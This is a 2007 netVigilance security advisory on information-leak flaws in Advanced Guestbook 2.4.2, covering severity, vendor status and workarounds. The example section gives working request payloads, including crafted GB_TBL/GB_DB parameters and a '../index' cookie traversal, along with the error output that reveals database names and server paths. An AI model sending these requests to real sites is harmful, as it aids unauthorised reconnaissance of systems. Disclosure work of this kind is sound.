Advanced Guestbook version 2.4.2 is prone to multiple information disclosure vulnerabilities.
ea2f8d8f93f1609877b9f4cc91c96bae9f672ca54e0b253490424faa72cc155d
netVigilance Security Advisory #11
Advanced Guestbook version 2.4.2 Multiple Error Information Leak Vulnerabilities
Description:
Advanced Guestbook is a PHP-based guestbook script. It includes many useful features such as preview, templates, e-mail notification, picture upload, page spanning , html tags handling, smiles, advanced guestbook codes and language support. The admin script lets you modify, view, and delete messages. Requires PHP4 and MySQL.
Security problems in the product allow attackers to gather the true path of the server-side script and get the database name.
External References:
Mitre CVE: CVE-2007-0608
NVD NIST: CVE-2007-0608
OSVDB: 33876
Summary:
Advanced Guestbook is a PHP-based guestbook with admin interface.
Security problems in the product allows attackers to gather the true path of the server-side script and get the database name.
This vulnerabilities can be exploited only when PHP register_globals is On.
Advisory URL:
http://www.netvigilance.com/advisory0011
Release Date:
05/07/2007
Severity:
Risk: Low
CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 1.86
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
Vulnerability Impact: Attack
Host Impact: Information disclosure, path disclosure.
SecureScout Testcase ID:
Vulnerable Systems:
Advanced Guestbook 2.4.2
Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Also there exist a possibility to disclose the database name in the error information messages.
Vendor Status:
Contact with the Vendor was established but draft of the security advisory wasn't provided because the Vendor stopped responding to our emails on 9 March 2007. There is no official fix at the release of this Security Advisory
Workaround:
Set PHP register_globals to Off. Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers).
Example:
Error Information Leak 1:
Database Name Disclosure
REQUEST:
http://[TARGET]/[GUETBOOK-FOLDER]/lang/codes-english.php?GB_TBL=123
REPLY:
Error Number: 1146 Table '[DATABASE NAME].b' doesn't exist
Date : Thu, January 4, 2007 13:40:11
IP : 212.98.173.35
Browser : Opera/9.01 (Windows NT 5.0; U; ru)
Referer :
PHP Version : 4.4.4
OS : Linux
Server : Apache/2.2.3
Server Name : proxy2.de
Error Information Leak 2:
Database Name Disclosure
REQUEST:
http://[TARGET]/[GUETBOOK-FOLDER]/image.php?id=1&GB_TBL=123
REPLY:
<b><font size=4 face=Arial>Query Error</font></b><hr><pre>MySQL Error : Query Error
Error Number: 1146 Table '[DISCLOSURE RESULT - DATABASE NAME].b' doesn't exist
Date : Mon, January 8, 2007 16:58:56
IP : 212.98.173.35
Browser : Opera/9.01 (Windows NT 5.0; U; ru)
Referer :
PHP Version : 4.4.4
OS : Linux
Server : Apache/2.2.3
Server Name : proxy2.de
</pre>
Error Information Leak 3:
Path Disclosure Vulnerability
REQUEST:
At first set in the COOKIES variable lang = "../index" for the target web-site
http://[TARGET]/[guestbook-directory]/index.php?GB_DB=123
REPLY:
<b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]:
Unknown MySQL server host '-' (1) in <b>[FULL PATH TO FILE]/mysql.class.php</b> on line <b>30</b><br />
<b><font size=4 face=Arial>Connection Error</font></b><hr><pre>MySQL Error : Connection Error
Error Number: 2005 Unknown MySQL server host '-' (1)
Date : Thu, January 4, 2007 13:42:18
IP : 212.98.173.35
Browser : Opera/9.01 (Windows NT 5.0; U; ru)
Referer :
PHP Version : 4.4.4
OS : Linux
Server : Apache/2.2.3
Server Name : ServerName.de
Error Information Leak 4:
Path Disclosure Vulnerability
REQUEST:
http://[TARGET]/[guestbook-directory]/index.php
REPLY:
<br /><b>Notice</b>: Undefined variable: DB_CLASS in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br />
<br /><b>Warning</b>: main([FULL PATH TO FILE]\rs\gb/lib/) [<a href='function.main'>function.main </a>]: failed to open stream: Permission denied in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br /><br />
<b>Fatal error</b>: main() [<a href='function.require'>function.require</a>]: Failed opening required '[FULL PATH TO FILE] \rs\gb/lib/' (include_path='.;C:\php5\pear') in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br />
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com